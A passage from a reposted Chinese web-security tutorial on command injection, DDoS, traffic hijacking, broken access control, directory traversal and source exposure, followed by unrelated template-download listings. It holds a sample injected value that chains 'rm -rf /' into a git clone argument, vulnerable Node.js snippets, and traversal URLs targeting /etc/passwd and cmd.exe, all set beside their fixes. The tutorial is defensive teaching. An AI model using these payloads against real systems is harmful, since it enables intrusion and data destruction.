review,将问题都暴露出来,而且要善于利用工具,操作数据库相关的代码属于机密,没事不要去各种论坛晒自家站点的 SQL 语句,万一被人盯上了呢? 命令行注入 命令行注入漏洞,指的是攻击者能够通过 HTTP 请求直接侵入主机,执行攻击者预设的 shell 命令,听起来好像匪夷所思,这往往是 Web 开发者最容易忽视但是却是最危险的一个漏洞之一,看一个实例: 假如现在需要实现一个需求:用户提交一些内容到服务器,然后在服务器执行一些系统命令去产出一个结果返回给用户,接口的部分实现如下: // 以 Node.js 为例,假如在接口中需要从 github 下载用户指定的 repoconst exec = require('mz/child_process').exec;let params = {/ 用户输入的参数 /};exec(git clone ${params.repo} /some/path); 这段代码确实能够满足业务需求,正常的用户也确实能从指定的 git repo 上下载到想要的代码,可是和 SQL 注入一样,这段代码在恶意攻击者眼中,简直就是香饽饽。 如果 params.repo 传入的是 https://github.com/zoumiaojiang/zoumiaojiang.github.io.git 当然没问题了。 可是如果 params.repo 传入的是 https://github.com/xx/xx.git && rm -rf / && 恰好你的服务是用 root 权限起的就惨了。 具体恶意攻击者能用命令行注入干什么也像 SQL 注入一样,手法是千变万化的,比如「反弹 shell 注入」等,但原理都是一样的,我们绝对有能力防止命令行注入发生。防止命令行注入需要做到以下几件事情: 后端对前端提交内容需要完全选择不相信,并且对其进行规则限制(比如正则表达式)。 在调用系统命令前对所有传入参数进行命令行参数转义过滤。 不要直接拼接命令语句,借助一些工具做拼接、转义预处理,例如 Node.js 的 shell-escape npm 包。 还是前面的例子,我们可以做到如下: const exec = require('mz/child_process').exec;// 借助 shell-escape npm 包解决参数转义过滤问题const shellescape = require('shell-escape');let params = {/ 用户输入的参数 /};// 先过滤一下参数,让参数符合预期if (!/正确的表达式/.test(params.repo)) {return;}let cmd = shellescape(['git','clone',params.repo,'/some/path']);// cmd 的值: git clone 'https://github.com/xx/xx.git && rm -rf / &&' /some/path// 这样就不会被注入成功了。exec(cmd); DDoS 攻击 DDoS 又叫分布式拒绝服务,全称 Distributed Denial of Service,其原理就是利用大量的请求造成资源过载,导致服务不可用,这个攻击应该不能算是安全问题,这应该算是一个另类的存在,因为这种攻击根本就是耍流氓的存在,「伤敌一千,自损八百」的行为。出于保护 Web App 不受攻击的攻防角度,还是介绍一下 DDoS 攻击吧,毕竟也是挺常见的。 DDoS 攻击可以理解为:「你开了一家店,隔壁家点看不惯,就雇了一大堆黑社会人员进你店里干坐着,也不消费,其他客人也进不来,导致你营业惨淡」。为啥说 DDoS 是个「伤敌一千,自损八百」的行为呢?毕竟隔壁店还是花了不少钱雇黑社会但是啥也没得到不是?DDoS 攻击的目的基本上就以下几个: 深仇大恨,就是要干死你 敲诈你,不给钱就干你 忽悠你,不买我防火墙服务就会有“人”继续干你 也许你的站点遭受过 DDoS 攻击,具体什么原因怎么解读见仁见智。DDos 攻击从层次上可分为网络层攻击与应用层攻击,从攻击手法上可分为快型流量攻击与慢型流量攻击,但其原理都是造成资源过载,导致服务不可用。 网络层 DDoS 网络层 DDos 攻击包括 SYN Flood、ACK Flood、UDP Flood、ICMP Flood 等。 SYN Flood 攻击 SYN flood 攻击主要利用了 TCP 三次握手过程中的 Bug,我们都知道 TCP 三次握手过程是要建立连接的双方发送 SYN,SYN + ACK,ACK 数据包,而当攻击方随意构造源 IP 去发送 SYN 包时,服务器返回的 SYN + ACK 就不能得到应答(因为 IP 是随意构造的),此时服务器就会尝试重新发送,并且会有至少 30s 的等待时间,导致资源饱和服务不可用,此攻击属于慢型 DDoS 攻击。 ACK Flood 攻击 ACK Flood 攻击是在 TCP 连接建立之后,所有的数据传输 TCP 报文都是带有 ACK 标志位的,主机在接收到一个带有 ACK 标志位的数据包的时候,需要检查该数据包所表示的连接四元组是否存在,如果存在则检查该数据包所表示的状态是否合法,然后再向应用层传递该数据包。如果在检查中发现该数据包不合法,例如该数据包所指向的目的端口在本机并未开放,则主机操作系统协议栈会回应 RST 包告诉对方此端口不存在。 UDP Flood 攻击 UDP flood 攻击是由于 UDP 是一种无连接的协议,因此攻击者可以伪造大量的源 IP 地址去发送 UDP 包,此种攻击属于大流量攻击。正常应用情况下,UDP 包双向流量会基本相等,因此发起这种攻击的攻击者在消耗对方资源的时候也在消耗自己的资源。 ICMP Flood 攻击 ICMP Flood 攻击属于大流量攻击,其原理就是不断发送不正常的 ICMP 包(所谓不正常就是 ICMP 包内容很大),导致目标带宽被占用,但其本身资源也会被消耗。目前很多服务器都是禁 ping 的(在防火墙在可以屏蔽 ICMP 包),因此这种攻击方式已经落伍。 网络层 DDoS 防御 网络层的 DDoS 攻击究其本质其实是无法防御的,我们能做得就是不断优化服务本身部署的网络架构,以及提升网络带宽。当然,还是做好以下几件事也是有助于缓解网络层 DDoS 攻击的冲击: 网络架构上做好优化,采用负载均衡分流。 确保服务器的系统文件是最新的版本,并及时更新系统补丁。 添加抗 DDos 设备,进行流量清洗。 限制同时打开的 SYN 半连接数目,缩短 SYN 半连接的 Timeout 时间。 限制单 IP 请求频率。 防火墙等防护设置禁止 ICMP 包等。 严格限制对外开放的服务器的向外访问。 运行端口映射程序或端口扫描程序,要认真检查特权端口和非特权端口。 关闭不必要的服务。 认真检查网络设备和主机/服务器系统的日志。只要日志出现漏洞或是时间变更,那这台机器就可能遭到了攻击。 限制在防火墙外与网络文件共享。这样会给黑客截取系统文件的机会,主机的信息暴露给黑客,无疑是给了对方入侵的机会。 加钱堆机器。。 报警。。 应用层 DDoS 应用层 DDoS 攻击不是发生在网络层,是发生在 TCP 建立握手成功之后,应用程序处理请求的时候,现在很多常见的 DDoS 攻击都是应用层攻击。应用层攻击千变万化,目的就是在网络应用层耗尽你的带宽,下面列出集中典型的攻击类型。 CC 攻击 当时绿盟为了防御 DDoS 攻击研发了一款叫做 Collapasar 的产品,能够有效的防御 SYN Flood 攻击。黑客为了挑衅,研发了一款 Challenge Collapasar 攻击工具(简称 CC)。 CC 攻击的原理,就是针对消耗资源比较大的页面不断发起不正常的请求,导致资源耗尽。因此在发送 CC 攻击前,我们需要寻找加载比较慢,消耗资源比较多的网页,比如需要查询数据库的页面、读写硬盘文件的等。通过 CC 攻击,使用爬虫对某些加载需要消耗大量资源的页面发起 HTTP 请求。 DNS Flood DNS Flood 攻击采用的方法是向被攻击的服务器发送大量的域名解析请求,通常请求解析的域名是随机生成或者是网络世界上根本不存在的域名,被攻击的DNS 服务器在接收到域名解析请求的时候首先会在服务器上查找是否有对应的缓存,如果查找不到并且该域名无法直接由服务器解析的时候,DNS 服务器会向其上层 DNS 服务器递归查询域名信息。域名解析的过程给服务器带来了很大的负载,每秒钟域名解析请求超过一定的数量就会造成 DNS 服务器解析域名超时。 根据微软的统计数据,一台 DNS 服务器所能承受的动态域名查询的上限是每秒钟 9000 个请求。而我们知道,在一台 P3 的 PC 机上可以轻易地构造出每秒钟几万个域名解析请求,足以使一台硬件配置极高的 DNS 服务器瘫痪,由此可见 DNS 服务器的脆弱性。 HTTP 慢速连接攻击 针对 HTTP 协议,先建立起 HTTP 连接,设置一个较大的 Conetnt-Length,每次只发送很少的字节,让服务器一直以为 HTTP 头部没有传输完成,这样连接一多就很快会出现连接耗尽。 应用层 DDoS 防御 判断 User-Agent 字段(不可靠,因为可以随意构造) 针对 IP + cookie,限制访问频率(由于 cookie 可以更改,IP 可以使用代理,或者肉鸡,也不可靠) 关闭服务器最大连接数等,合理配置中间件,缓解 DDoS 攻击。 请求中添加验证码,比如请求中有数据库操作的时候。 编写代码时,尽量实现优化,并合理使用缓存技术,减少数据库的读取操作。 加钱堆机器。。 报警。。 应用层的防御有时比网络层的更难,因为导致应用层被 DDoS 攻击的因素非常多,有时往往是因为程序员的失误,导致某个页面加载需要消耗大量资源,有时是因为中间件配置不当等等。而应用层 DDoS 防御的核心就是区分人与机器(爬虫),因为大量的请求不可能是人为的,肯定是机器构造的。因此如果能有效的区分人与爬虫行为,则可以很好地防御此攻击。 其他 DDoS 攻击 发起 DDoS 也是需要大量的带宽资源的,但是互联网就像森林,林子大了什么鸟都有,DDoS 攻击者也能找到其他的方式发起廉价并且极具杀伤力的 DDoS 攻击。 利用 XSS 举个例子,如果 12306 页面有一个 XSS 持久型漏洞被恶意攻击者发现,只需在春节抢票期间在这个漏洞中执行脚本使得往某一个小站点随便发点什么请求,然后随着用户访问的增多,感染用户增多,被攻击的站点自然就会迅速瘫痪了。这种 DDoS 简直就是无本万利,不用惊讶,现在大站有 XSS 漏洞的不要太多。 来自 P2P 网络攻击 大家都知道,互联网上的 P2P 用户和流量都是一个极为庞大的数字。如果他们都去一个指定的地方下载数据,成千上万的真实 IP 地址连接过来,没有哪个设备能够支撑住。拿 BT 下载来说,伪造一些热门视频的种子,发布到搜索引擎,就足以骗到许多用户和流量了,但是这只是基础攻击。 高级的 P2P 攻击,是直接欺骗资源管理服务器。如迅雷客户端会把自己发现的资源上传到资源管理服务器,然后推送给其它需要下载相同资源的用户,这样,一个链接就发布出去。通过协议逆向,攻击者伪造出大批量的热门资源信息通过资源管理中心分发出去,瞬间就可以传遍整个 P2P 网络。更为恐怖的是,这种攻击是无法停止的,即使是攻击者自身也无法停止,攻击一直持续到 P2P 官方发现问题更新服务器且下载用户重启下载软件为止。 最后总结下,DDoS 不可能防的住,就好比你的店只能容纳 50 人,黑社会有 100 人,你就换一家大店,能容纳 500 人,然后黑社会又找来了 1000 人,这种堆人头的做法就是 DDoS 本质上的攻防之道,「道高一尺,魔高一丈,魔高一尺,道高一丈」,讲真,必要的时候就答应勒索你的人的条件吧,实在不行就报警吧。 流量劫持 流量劫持应该算是黑产行业的一大经济支柱了吧?简直是让人恶心到吐,不吐槽了,还是继续谈干货吧,流量劫持基本分两种:DNS 劫持 和 HTTP 劫持,目的都是一样的,就是当用户访问 zoumiaojiang.com 的时候,给你展示的并不是或者不完全是 zoumiaojiang.com 提供的 “内容”。 DNS 劫持 DNS 劫持,也叫做域名劫持,可以这么理解,「你打了一辆车想去商场吃饭,结果你打的车是小作坊派来的,直接给你拉到小作坊去了」,DNS 的作用是把网络地址域名对应到真实的计算机能够识别的 IP 地址,以便计算机能够进一步通信,传递网址和内容等。如果当用户通过某一个域名访问一个站点的时候,被篡改的 DNS 服务器返回的是一个恶意的钓鱼站点的 IP,用户就被劫持到了恶意钓鱼站点,然后继而会被钓鱼输入各种账号密码信息,泄漏隐私。 dns劫持 这类劫持,要不就是网络运营商搞的鬼,一般小的网络运营商与黑产勾结会劫持 DNS,要不就是电脑中毒,被恶意篡改了路由器的 DNS 配置,基本上做为开发者或站长却是很难察觉的,除非有用户反馈,现在升级版的 DNS 劫持还可以对特定用户、特定区域等使用了用户画像进行筛选用户劫持的办法,另外这类广告显示更加随机更小,一般站长除非用户投诉否则很难觉察到,就算觉察到了取证举报更难。无论如何,如果接到有 DNS 劫持的反馈,一定要做好以下几件事: 取证很重要,时间、地点、IP、拨号账户、截屏、URL 地址等一定要有。 可以跟劫持区域的电信运营商进行投诉反馈。 如果投诉反馈无效,直接去工信部投诉,一般来说会加白你的域名。 HTTP 劫持 HTTP 劫持您可以这么理解,「你打了一辆车想去商场吃饭,结果司机跟你一路给你递小作坊的广告」,HTTP 劫持主要是当用户访问某个站点的时候会经过运营商网络,而不法运营商和黑产勾结能够截获 HTTP 请求返回内容,并且能够篡改内容,然后再返回给用户,从而实现劫持页面,轻则插入小广告,重则直接篡改成钓鱼网站页面骗用户隐私。能够实施流量劫持的根本原因,是 HTTP 协议没有办法对通信对方的身份进行校验以及对数据完整性进行校验。如果能解决这个问题,则流量劫持将无法轻易发生。所以防止 HTTP 劫持的方法只有将内容加密,让劫持者无法破解篡改,这样就可以防止 HTTP 劫持了。 HTTPS 协议就是一种基于 SSL 协议的安全加密网络应用层协议,可以很好的防止 HTTP 劫持。这里有篇 文章 讲的不错。HTTPS 在这就不深讲了,后面有机会我会单独好好讲讲 HTTPS。如果不想站点被 HTTP 劫持,赶紧将你的站点全站改造成 HTTPS 吧。 服务器漏洞 服务器除了以上提到的那些大名鼎鼎的漏洞和臭名昭著的攻击以外,其实还有很多其他的漏洞,往往也很容易被忽视,在这个小节也稍微介绍几种。 越权操作漏洞 如果你的系统是有登录控制的,那就要格外小心了,因为很有可能你的系统越权操作漏洞,越权操作漏洞可以简单的总结为 「A 用户能看到或者操作 B 用户的隐私内容」,如果你的系统中还有权限控制就更加需要小心了。所以每一个请求都需要做 userid 的判断 以下是一段有漏洞的后端示意代码: // ctx 为请求的 context 上下文let msgId = ctx.params.msgId;mysql.query('SELECT FROM msg_table WHERE msg_id = ?',[msgId]); 以上代码是任何人都可以查询到任何用户的消息,只要有 msg_id 就可以,这就是比较典型的越权漏洞,需要如下这么改进一下: // ctx 为请求的 context 上下文let msgId = ctx.params.msgId;let userId = ctx.session.userId; // 从会话中取出当前登陆的 userIdmysql.query('SELECT FROM msg_table WHERE msg_id = ? AND user_id = ?',[msgId, userId]); 嗯,大概就是这个意思,如果有更严格的权限控制,那在每个请求中凡是涉及到数据库的操作都需要先进行严格的验证,并且在设计数据库表的时候需要考虑进 userId 的账号关联以及权限关联。 目录遍历漏洞 目录遍历漏洞指通过在 URL 或参数中构造 …/,./ 和类似的跨父目录字符串的 ASCII 编码、unicode 编码等,完成目录跳转,读取操作系统各个目录下的敏感文件,也可以称作「任意文件读取漏洞」。 目录遍历漏洞原理:程序没有充分过滤用户输入的 …/ 之类的目录跳转符,导致用户可以通过提交目录跳转来遍历服务器上的任意文件。使用多个… 符号,不断向上跳转,最终停留在根 /,通过绝对路径去读取任意文件。 目录遍历漏洞几个示例和测试,一般构造 URL 然后使用浏览器直接访问,或者使用 Web 漏洞扫描工具检测,当然也可以自写程序测试。 http://somehost.com/../../../../../../../../../etc/passwdhttp://somehost.com/some/path?file=../../Windows/system.ini 借助 %00 空字符截断是一个比较经典的攻击手法http://somehost.com/some/path?file=../../Windows/system.ini%00.js 使用了 IIS 的脚本目录来移动目录并执行指令http://somehost.com/scripts/..%5c../Windows/System32/cmd.exe?/c+dir+c:\ 防御 方法就是需要对 URL 或者参数进行 …/,./ 等字符的转义过滤。 物理路径泄漏 物理路径泄露属于低风险等级缺陷,它的危害一般被描述为「攻击者可以利用此漏洞得到信息,来对系统进一步地攻击」,通常都是系统报错 500 的错误信息直接返回到页面可见导致的漏洞。得到物理路径有些时候它能给攻击者带来一些有用的信息,比如说:可以大致了解系统的文件目录结构;可以看出系统所使用的第三方软件;也说不定会得到一个合法的用户名(因为很多人把自己的用户名作为网站的目录名)。 防止这种泄漏的方法就是做好后端程序的出错处理,定制特殊的 500 报错页面。 源码暴露漏洞 和物理路径泄露类似,就是攻击者可以通过请求直接获取到你站点的后端源代码,然后就可以对系统进一步研究攻击。那么导致源代码暴露的原因是什么呢?基本上就是发生在服务器配置上了,服务器可以设置哪些路径的文件才可以被直接访问的,这里给一个 koa 服务起的例子,正常的 koa 服务器可以通过 koa-static 中间件去指定静态资源的目录,好让静态资源可以通过路径的路由访问。比如你的系统源代码目录是这样的: |- project|- src|- static|- ...|- server.js 你想要将 static 的文件夹配成静态资源目录,你应该会在 server.js 做如下配置: const Koa = require('koa');const serve = require('koa-static');const app = new Koa();app.use(serve(__dirname + '/project/static')); 但是如果配错了静态资源的目录,可能就出大事了,比如: // ...app.use(serve(__dirname + '/project')); 这样所有的源代码都可以通过路由访问到了,所有的服务器都提供了静态资源机制,所以在通过服务器配置静态资源目录和路径的时候,一定要注意检验,不然很可能产生漏洞。 最后,希望 Web 开发者们能够管理好自己的代码隐私,注意代码安全问题,比如不要将产品的含有敏感信息的代码放到第三方外部站点或者暴露给外部用户,尤其是前端代码,私钥类似的保密性的东西不要直接输出在代码里或者页面中。也许还有很多值得注意的点,但是归根结底还是绷住安全那根弦,对待每一行代码都要多多推敲。 请关注我的订阅号 本篇文章为转载内容。原文链接:https://blog.csdn.net/MrCoderStack/article/details/88547919。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-03 14:51:12
493
转载
建站模板下载
...功能,界面简洁通用,操作简单易上手。模板涵盖了文章系统后台的所有核心模块,提供文章后台模板下载服务,满足更多用户对文章类网站模板的需求,便于快速搭建和管理文章内容。 点我下载 文件大小:117.16 KB 您将下载一个资源包,该资源包内部文件的目录结构如下: 本网站提供模板下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2023-01-02 12:32:45
94
本站
建站模板下载
...可便捷地进行房间预订操作。模板不仅具备直观的房间展示和预订功能,还兼顾了企业的品牌形象展示,是打造专业且高用户体验的酒店预订网站的理想之选。 点我下载 文件大小:3.92 MB 您将下载一个资源包,该资源包内部文件的目录结构如下: 本网站提供模板下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2023-07-01 15:55:01
60
本站
建站模板下载
...片信息并进行快速购票操作。同时,模板还兼顾了展示更多台网平台信息的需求,是搭建专业、高效电影售票服务平台的理想选择。 点我下载 文件大小:1.51 MB 您将下载一个资源包,该资源包内部文件的目录结构如下: 本网站提供模板下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2023-05-02 14:56:36
46
本站
建站模板下载
...用于更多场景下的后台操作需求,如数据管理、用户管理等。下载后即可快速构建出专业的企业级后台管理页面,提升办公效率,实现便捷化的企业后台管理体系。 点我下载 文件大小:1.01 MB 您将下载一个资源包,该资源包内部文件的目录结构如下: 本网站提供模板下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2023-02-04 23:29:44
79
本站
建站模板下载
...行设备管理与系统升级操作。" 点我下载 文件大小:456.44 KB 您将下载一个资源包,该资源包内部文件的目录结构如下: 本网站提供模板下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2023-05-27 08:38:30
95
本站
建站模板下载
...管理,打造一站式便捷操作体验,让您的自媒体平台运营更加得心应手。 点我下载 文件大小:5.58 MB 您将下载一个资源包,该资源包内部文件的目录结构如下: 本网站提供模板下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2024-01-22 22:54:12
324
本站
建站模板下载
...用清晰的布局与直观的操作界面,方便用户进行内容编辑、系统配置等操作,实现对网站的全方位、便捷化管理。 点我下载 文件大小:5.06 MB 您将下载一个资源包,该资源包内部文件的目录结构如下: 本网站提供模板下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2023-01-08 15:58:46
52
本站
建站模板下载
...出既实用又赏心悦目的操作环境,是企业后台管理模板的理想选择,满足用户对于公司后台系统模板下载的各种需求。 点我下载 文件大小:570.15 KB 您将下载一个资源包,该资源包内部文件的目录结构如下: 本网站提供模板下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2023-07-31 08:07:00
300
本站
建站模板下载
...理,便于用户进行捐赠操作和查看公益活动信息。适用于搭建各类爱心活动、公益活动网站,让您的公益事业在网络上得以更高效地展示和推广,方便社会各界人士参与和支持慈善捐赠活动。 点我下载 文件大小:2.99 MB 您将下载一个资源包,该资源包内部文件的目录结构如下: 本网站提供模板下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2023-10-14 14:05:18
91
本站
建站模板下载
...大气,提供直观且易于操作的后台管理功能,适用于各类网站的后台管理系统搭建,如企业后台、博客后台等,助力实现便捷高效的网站内容与系统管理。这款模板凭借其清晰布局和全面的功能模块,成为构建专业级网站后台的理想选择。 点我下载 文件大小:148.35 KB 您将下载一个资源包,该资源包内部文件的目录结构如下: 本网站提供模板下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2023-07-04 23:42:52
64
本站
建站模板下载
...为用户提供高效便捷的操作体验。 点我下载 文件大小:4.63 MB 您将下载一个资源包,该资源包内部文件的目录结构如下: 本网站提供模板下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2024-01-08 10:24:03
303
本站
建站模板下载
...一站式便捷高效的后台操作体验。用户可通过下载该模板快速构建企业级管理系统后台界面,满足各类办公自动化场景需求,实现企业资源、业务流程的有效管控与可视化呈现。 点我下载 文件大小:7.46 MB 您将下载一个资源包,该资源包内部文件的目录结构如下: 本网站提供模板下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2023-12-02 09:10:14
284
本站
建站模板下载
...企业后台管理人员高效操作。模板整体风格简洁明快,以实现直观的数据统计与内容管理为核心,涵盖了旅游产品、订单、客户等多个管理模块。它将帮助旅游公司轻松进行后台管理,实现业务的便捷操控与信息的一站式整合,营造出清爽高效的办公环境。 点我下载 文件大小:1.89 MB 您将下载一个资源包,该资源包内部文件的目录结构如下: 本网站提供模板下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2023-05-03 15:37:24
70
本站
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
watch -n 5 'command'
- 定时执行命令并刷新输出结果(每5秒一次)。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"